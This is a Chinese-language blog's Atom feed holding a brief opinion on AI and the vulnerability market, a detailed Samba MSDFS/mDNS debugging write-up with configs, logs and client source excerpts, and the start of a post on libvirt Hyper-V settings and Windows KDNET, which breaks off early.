<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="zh-Hans-cn">
    <title>Silver</title>
    <link rel="self" type="application/atom+xml" href="https://blog.iret.xyz/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://blog.iret.xyz"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2026-04-20T00:00:00+00:00</updated>
    <id>https://blog.iret.xyz/atom.xml</id>
    <entry xml:lang="zh-Hans-cn">
        <title>关于AI和安全的一个想法</title>
        <published>2026-04-20T00:00:00+00:00</published>
        <updated>2026-04-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/glad-to-have-llm/"/>
        <id>https://blog.iret.xyz/posts/glad-to-have-llm/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/glad-to-have-llm/">&lt;p&gt;我观察到，在行业中的一个问题（或者现象）是，漏洞————尤其是高质量漏洞————的产出不足，从而没有人关心漏洞的评价标准，难以为漏洞估值；这一情况，再加上安全行业与生俱来的道德属性，导致安全市场是畸形的、不能形成充分磋商的市场，进而导致种种乱象。&lt;&#x2F;p&gt;
&lt;p&gt;很高兴看到AI能有拉低漏洞产出、利用和修复门槛的趋势。虽然我也不想看到exp满天飞、终端用户利益受损的场景，但没办法，市场会为价格错配找到自己的出路。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>Samba MSDFS在mDNS自动发现环境下的踩坑记录</title>
        <published>2025-05-30T00:00:00+00:00</published>
        <updated>2025-05-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/macos-msdfs-debug/"/>
        <id>https://blog.iret.xyz/posts/macos-msdfs-debug/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/macos-msdfs-debug/">&lt;h1 id=&quot;mu-de-he-xian-zhuang&quot;&gt;目的和现状&lt;&#x2F;h1&gt;
&lt;p&gt;已有一台Samba Server &lt;code&gt;server&lt;&#x2F;code&gt;，现在希望新增一台Samba Server &lt;code&gt;newserver&lt;&#x2F;code&gt;，并将原有Share的一部分目录引向新Server，从而减少东西向通信、广播节点数量和客户端配置的风险。&lt;&#x2F;p&gt;
&lt;p&gt;旧服务器部署在同用户隔离的网段，无法广播，网络架构也不建议使用NetBIOS，因此通过avahi-daemon在用户网段广播服务。&lt;&#x2F;p&gt;
&lt;p&gt;新旧server的服务均已经在防火墙上放通，只是由于网段隔离，客户端无法直接用samba自带的体系发现服务，需要通过mDNS。客户端有macOS、Windows、Linux、iOS。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;diao-shi&quot;&gt;调试&lt;&#x2F;h1&gt;
&lt;p&gt;加入如下配置：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;ini&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;[global]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;host &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;msdfs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;[sharename]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;msdfs &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;root&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;msdfs &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;proxy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; \newserver\sharename&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;测试发现macOS本身可以看到新的共享，但是点击后提示无法连接。&lt;&#x2F;p&gt;
&lt;p&gt;抓包：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;macos-msdfs-debug&#x2F;connect_failure_macos.png&quot; alt=&quot;failed to connect&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;macOS侧的错误原因由于没有安装调试Profile，无法在Console中确认。但点击后，可以在服务端日志中立刻发现这一的错误是这个。起初走了一些弯路，以为是msdfs配置方式不对，改成软链接配置，情况依旧：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Feb 25 20:46:05 server rpcd_classic[3919]: [2025&#x2F;02&#x2F;25 20:46:05.961408,  0] ..&#x2F;..&#x2F;source3&#x2F;printing&#x2F;printer_list.c:58(get_printer_list_db)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Feb 25 20:46:05 server rpcd_classic[3919]:   get_printer_list_db: Failed to open printer_list.tdb&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Feb 25 20:46:15 server smbd[3906]: [2025&#x2F;02&#x2F;25 20:46:15.148529,  0] ..&#x2F;..&#x2F;source3&#x2F;smbd&#x2F;msdfs.c:120(parse_dfs_path_strict)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Feb 25 20:46:15 server smbd[3906]:   parse_dfs_path_strict: Hostname server._smb._tcp.local is not ours.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Feb 25 20:46:15 server smbd[3906]: [2025&#x2F;02&#x2F;25 20:46:15.181912,  0] ..&#x2F;..&#x2F;source3&#x2F;smbd&#x2F;msdfs.c:120(parse_dfs_path_strict)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Feb 25 20:46:15 server smbd[3906]:   parse_dfs_path_strict: Hostname server._smb._tcp.local is not ours.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Feb 25 20:46:15 server smbd[3906]: [2025&#x2F;02&#x2F;25 20:46:15.215110,  0] ..&#x2F;..&#x2F;source3&#x2F;smbd&#x2F;msdfs.c:107(parse_dfs_path_strict)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Feb 25 20:46:15 server smbd[3906]:   parse_dfs_path_strict: can&amp;#39;t parse hostname from path \server._smb._tcp.local&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意到日志中samba说一个名字不是自己。检查&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;samba-team&#x2F;samba&#x2F;blob&#x2F;master&#x2F;source3&#x2F;lib&#x2F;util_sock.c#L1026&quot;&gt;源码&lt;&#x2F;a&gt;，这里&lt;code&gt;lp&lt;&#x2F;code&gt;开头的函数都是加载配置的参数。从源码中可以看到这里的行为是，对归一化后的服务器名称，检查：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;是否是配置的netbios name（全等和equal都测一轮）&lt;&#x2F;li&gt;
&lt;li&gt;是否是配置的netbios aliaes&lt;&#x2F;li&gt;
&lt;li&gt;是否是localhost或本地地址&lt;&#x2F;li&gt;
&lt;li&gt;检查是否是dns名称&lt;&#x2F;li&gt;
&lt;li&gt;检查是否是自己的某个ip&lt;&#x2F;li&gt;
&lt;li&gt;尝试解析域名后，检查是否是自己的某个ip&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果都没有命中，就挂掉。而他这里检查的这个名字，是 &lt;code&gt;${service_name_configed_in_avahi}._smb._tcp.local&lt;&#x2F;code&gt; ，确实和域控、网络侧配置的域名、主机名都不匹配，这是一个mDNS形式的完整域名。于是尝试在global段加配置：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;ini&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;[global]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;netbios &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;aliases&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; server._smb._tcp.local&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时referral就正常发放了，客户端也开始尝试链接：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;macos-msdfs-debug&#x2F;can_get_referral_after_set_alias.png&quot; alt=&quot;can get referral after abuse nbns alias&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;到这里可以达成的初步结论是，由于Samba服务器没有配置好别名，在收到客户端的IPC请求时，认为请求的目标并不是自己，从而拒绝回复。&lt;&#x2F;p&gt;
&lt;p&gt;不过，这里有一些疑问：macOS可以通过mDNS发现Samba共享服务器，但Windows不可以。这是否代表系统中存在其他问题？&lt;&#x2F;p&gt;
&lt;p&gt;在Windows 10 22H2虚拟机中，将操作系统切换到私有网络模式，点击资源管理器中的网络菜单，除了NBNS和LLMNR外，没有看到其他的服务发现类请求。在具有Hyper V虚拟机的Windows 11 24H2虚拟机中，同上。卸载Hyper V后依然如此。顺便还发现了Windows默认会把所有VLAN的流量剥离标签后聚到一起，6。&lt;&#x2F;p&gt;
&lt;p&gt;查了下&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;kimathir.wordpress.com&#x2F;2021&#x2F;07&#x2F;14&#x2F;samba-avahi-ubuntu&#x2F;&quot;&gt;资料&lt;&#x2F;a&gt;，看来确实大家都不支持，看来这个特性就是还没做。&lt;&#x2F;p&gt;
&lt;p&gt;另外：这个测试是在macOS下进行的。如果是在Windows&#x2F;Linux下，效果会有所不同吗？&lt;&#x2F;p&gt;
&lt;p&gt;在Windows下，由于没有mDNS发现，需要手动输入机器名来访问，那么自然不存在这个问题：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;macos-msdfs-debug&#x2F;windows_without_mdns_discovery.png&quot; alt=&quot;windows can certainly get it&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看到在IPC构建的过程中，就使用了&lt;code&gt;server&lt;&#x2F;code&gt;，这个名字和主机名是一样的，因此后续可以被认出来。在Linux下就不测试了，一方面是现在没有需求，另一方面是我们更想解决下面这个问题：&lt;&#x2F;p&gt;
&lt;p&gt;这个新的别名&lt;code&gt;server._smb._tcp.local&lt;&#x2F;code&gt;，是一个mDNS域名，某种程度上，这其实并不符合我们的预期，是否可以修改这个行为？&lt;&#x2F;p&gt;
&lt;p&gt;一开始我认为，可能存在一个配置项，配置好就可以了。找到&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;apple-oss-distributions&#x2F;SMBClient&quot;&gt;macOS Samba客户端的源码&lt;&#x2F;a&gt; ，读了一下，发现事情比想象的麻烦一点。理论上我应该是对照着协议文本来读，但为了偷懒，而且不想看微软的spec，所以就直接去看源码了。&lt;&#x2F;p&gt;
&lt;p&gt;从源码中可以确认，苹果的Samba库，预期输入就是一个mDNS风格的域名，这一点在单元测试中就可以看到：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;* Try Bonjour name *&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;error &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; list_shares_once&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;smb:&#x2F;&#x2F;smbtest:smbtest@homedepot._smb._tcp.local&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; (error) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;	fprintf&lt;&#x2F;span&gt;&lt;span&gt;(stdout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;homedepot._smb._tcp.local: Share test failed &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%d\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; error)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	ErrorCnt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再看samba库对外提供的接口。从&lt;code&gt;mount_smbfs&lt;&#x2F;code&gt;工具的源码中，可以看到，对外提供的接口是：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;*!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; * @function SMBOpenServerEx&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; * @abstract Connect to a SMB tree with options&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; * &lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;font-style: italic;&quot;&gt;@param&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;font-style: italic;&quot;&gt; targetServer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; A UTF-8 encoded UNC name or SMB URL.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; * &lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;font-style: italic;&quot;&gt;@param&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;font-style: italic;&quot;&gt; outConnection&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; Filled in with a SMBHANDLE if the connection is&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; * successful.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; * &lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;font-style: italic;&quot;&gt;@param&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;font-style: italic;&quot;&gt; options&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; SMB&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; * &lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;font-style: italic;&quot;&gt;@result&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; Returns an NTSTATUS error code.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; *&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SMBCLIENT_EXPORT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;NTSTATUS&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;SMBOpenServerEx&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    const&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;targetServer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    SMBHANDLE &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; outConnection&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;    uint64_t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;    options&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;__OSX_AVAILABLE_STARTING&lt;&#x2F;span&gt;&lt;span&gt;(__MAC_10_7&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; __IPHONE_NA)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;    ;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;考虑到在代码库中和单测中都看到了mDNS URL的痕迹，因此可以认为这里无论如何预期传入的 &lt;code&gt;targetServer&lt;&#x2F;code&gt; 都应该是一个形如 &lt;code&gt;smb:&#x2F;&#x2F;service._smb._tcp.local&lt;&#x2F;code&gt; 的URL，那么唯一一个可以控制的地方就是options了。从源码后续对options的解析里，没有明显看到可以剥离后半段主机名的内容。不过，是否可能在内部实现中做了这个行为呢？&lt;&#x2F;p&gt;
&lt;p&gt;想来想去，还是直接去看DFS的客户端实现比较简单。但是在看客户端代码之前，我想首先知道，在出问题的这一轮请求中，什么地方有可能和这个主机名产生关联：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;macos-msdfs-debug&#x2F;dfs_referral_packet.png&quot; alt=&quot;detailed referral packet content&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;从图里看，有这些可能：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;在具体的ioctl请求中，携带了文件名，代表了DFS本身在host上的标识；&lt;&#x2F;li&gt;
&lt;li&gt;在smb头部，存在两个id
&lt;ol&gt;
&lt;li&gt;session id，在会话协商后就会立刻拿到，用来区分不同会话&lt;&#x2F;li&gt;
&lt;li&gt;tree id，在一次成功的tree connect（比如，链接到&lt;code&gt;IPC$&lt;&#x2F;code&gt;）后拿到，用来区分操作哪个共享下的东西&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;回头看了下服务端的报错，是出在dfs路径解析的。翻看&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;samba-team&#x2F;samba&#x2F;blob&#x2F;master&#x2F;source3&#x2F;smbd&#x2F;msdfs.c#L118&quot;&gt;服务器源码&lt;&#x2F;a&gt;后，这里确实是去判断从path中拿到的hostname是否是当前机器的，所以问题应该是出现在客户端拼接DFS Referral请求中的文件名路径部分。客户端构造Referral请求的字符串有两个方法，分别是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;createReferralStringFromCString&lt;&#x2F;code&gt; ，本质上就是在传入的字符串前加个斜杠(&lt;code&gt;&#x2F;&lt;&#x2F;code&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;createReferralString&lt;&#x2F;code&gt;，这个逻辑稍微复杂一些，也更像正常的构造思路，是从传入的链接上下文中提取&lt;code&gt;serverName&lt;&#x2F;code&gt;, &lt;code&gt;ct_origshare&lt;&#x2F;code&gt;, &lt;code&gt;mountPath&lt;&#x2F;code&gt;，然后用斜杠拼到一起&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;到这两个方法的调用，都集中在&lt;code&gt;checkForDfsReferral&lt;&#x2F;code&gt;里，这里都是用第二种方法，从ctx中提取的。一路追踪ctx，可以找到&lt;code&gt;serverName&lt;&#x2F;code&gt;是在&lt;code&gt;lib&#x2F;smb&#x2F;parse_url.c:SetServerFromURL&lt;&#x2F;code&gt;中填充的：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;* The serverNameRef should always contain the URL host name or the Bonjour Name *&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ctx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;serverNameRef &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; serverNameRef&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; (ctx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;serverNameRef &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; NULL&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; EINVAL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里明示了&lt;code&gt;serverName&lt;&#x2F;code&gt;中会包含完整的Bonjour Name，因此应该是无法更改了。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;p&gt;费了一些力气，得到些许结论：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在没有域的环境下，用Samba+DFS技术搭建共享存储是可行的（当然，权限、凭据同步等问题需要操心下）&lt;&#x2F;li&gt;
&lt;li&gt;截至目前，Windows是不支持从mDNS发现文件共享并链接的，如果需要选择一个技术，从而让所有系统都能自动发现文件共享，基本只能使用NetBIOS&lt;&#x2F;li&gt;
&lt;li&gt;如果使用avahi或其他mDNS技术，并从macOS连接自动发现的共享，那么需要确保mDNS的完整域名（&lt;code&gt;$hostname._smb._tcp.local&lt;&#x2F;code&gt;）是Samba服务器的别名之一，从而确保服务器可以认得自己。这个行为无法修改，是固化在双方代码中的行为&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;当然，在域环境、或者有wins&#x2F;nbns&#x2F;llmnr等其他技术的场景下，这里又是另一番风味（💩️）了……&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>libvirt的Hyper-V虚拟化或导致Windows KDNET初始化失败</title>
        <published>2024-01-31T00:00:00+00:00</published>
        <updated>2024-01-31T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/libvirt-hyperv-with-kdnet/"/>
        <id>https://blog.iret.xyz/posts/libvirt-hyperv-with-kdnet/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/libvirt-hyperv-with-kdnet/">&lt;p&gt;近日因为遇到了&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;virtio-win&#x2F;kvm-guest-drivers-windows&#x2F;issues&#x2F;1004&quot;&gt;某个Bug&lt;&#x2F;a&gt;，希望在不重启的情况下，通过从宿主机Patch虚拟机内存的方式，修复此问题。因此发现了一个很有意思的项目&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;memflow.github.io&#x2F;&quot;&gt;memflow&lt;&#x2F;a&gt;，这个项目提供了一套探查操作系统的物理内存的技术，可以在操作系统之外重建一些影响系统抽象层的能力。这个Rust项目的抽象也比较有意思，准备抽空深入学习下。&lt;&#x2F;p&gt;
&lt;p&gt;扯远了。在开发环境初始化好后，应用补丁时遇到了一些问题，BugCheck给出了一个有点出乎意料的错误。于是按照&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;windows-hardware&#x2F;drivers&#x2F;debugger&#x2F;setting-up-kernel-mode-debugging-in-windbg--cdb--or-ntsd&quot;&gt;MSDN&lt;&#x2F;a&gt;的指引，使用&lt;code&gt;kdnet&lt;&#x2F;code&gt;设置好参数后，重启虚拟机，但调试器并没和虚拟机建立链接。排除网络等原因后，为了查看具体的故障原因，执行kdnet，提示：&lt;&#x2F;p&gt;
